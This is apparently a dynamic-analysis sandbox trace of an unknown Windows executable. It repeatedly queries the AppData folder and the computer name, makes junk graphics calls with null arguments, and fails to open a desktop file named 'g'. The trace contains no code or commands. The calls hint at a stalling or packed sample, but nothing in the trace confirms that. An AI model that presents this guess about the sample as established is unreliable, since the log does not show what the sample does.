1 [0223.056] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.056] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.056] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.056] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.056] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.056] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.057] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.057] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.057] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.057] CloseHandle (hObject=0x0) returned 0 [0223.057] CloseHandle (hObject=0xffffffff) returned 1 [0223.057] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.057] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.057] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.057] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.057] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.057] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.057] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.057] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.057] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.057] CloseHandle (hObject=0x0) returned 0 [0223.057] CloseHandle (hObject=0xffffffff) returned 1 [0223.057] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.057] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.057] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.057] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.057] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.058] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.058] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.058] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.058] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.058] CloseHandle (hObject=0x0) returned 0 [0223.058] CloseHandle (hObject=0xffffffff) returned 1 [0223.058] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.058] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.058] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.058] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.058] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.063] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.063] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.063] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.063] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.063] CloseHandle (hObject=0x0) returned 0 [0223.063] CloseHandle (hObject=0xffffffff) returned 1 [0223.063] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.063] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.063] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.063] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.063] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.064] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.064] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.064] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.064] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.064] CloseHandle (hObject=0x0) returned 0 [0223.064] CloseHandle (hObject=0xffffffff) returned 1 [0223.064] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.064] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.064] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.064] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.064] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.064] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.064] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.064] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.064] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.064] CloseHandle (hObject=0x0) returned 0 [0223.064] CloseHandle (hObject=0xffffffff) returned 1 [0223.064] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.064] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.064] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.064] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.065] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.065] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.065] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.065] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.065] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.065] CloseHandle (hObject=0x0) returned 0 [0223.065] CloseHandle (hObject=0xffffffff) returned 1 [0223.065] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.065] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.065] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.065] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.065] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.065] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.065] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.065] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.065] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.065] CloseHandle (hObject=0x0) returned 0 [0223.065] CloseHandle (hObject=0xffffffff) returned 1 [0223.065] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.066] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.066] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.066] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.066] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.066] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.066] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.066] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.066] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.066] CloseHandle (hObject=0x0) returned 0 [0223.066] CloseHandle (hObject=0xffffffff) returned 1 [0223.066] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.066] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.066] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.066] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.066] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.066] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.066] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.066] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.066] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.066] CloseHandle (hObject=0x0) returned 0 [0223.066] CloseHandle (hObject=0xffffffff) returned 1 [0223.067] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.067] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.067] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.067] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.067] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.067] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.067] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.067] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.067] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.067] CloseHandle (hObject=0x0) returned 0 [0223.067] CloseHandle (hObject=0xffffffff) returned 1 [0223.096] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.096] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.096] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.097] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.097] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.097] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.097] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.097] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.097] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.097] CloseHandle (hObject=0x0) returned 0 [0223.097] CloseHandle (hObject=0xffffffff) returned 1 [0223.097] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.097] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.097] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.097] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.097] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.097] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.097] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.097] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.097] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.097] CloseHandle (hObject=0x0) returned 0 [0223.098] CloseHandle (hObject=0xffffffff) returned 1 [0223.098] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.098] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.098] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.098] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.098] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.098] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.098] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.098] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.098] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.098] CloseHandle (hObject=0x0) returned 0 [0223.098] CloseHandle (hObject=0xffffffff) returned 1 [0223.098] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.098] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.098] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.098] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.098] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.098] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.098] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.098] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.099] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.099] CloseHandle (hObject=0x0) returned 0 [0223.099] CloseHandle (hObject=0xffffffff) returned 1 [0223.099] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.099] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.099] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.099] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.099] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.099] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.099] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.099] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.099] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.099] CloseHandle (hObject=0x0) returned 0 [0223.099] CloseHandle (hObject=0xffffffff) returned 1 [0223.099] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.099] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.099] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.099] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.102] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.102] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.102] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.102] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.102] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.102] CloseHandle (hObject=0x0) returned 0 [0223.102] CloseHandle (hObject=0xffffffff) returned 1 [0223.102] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.102] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | 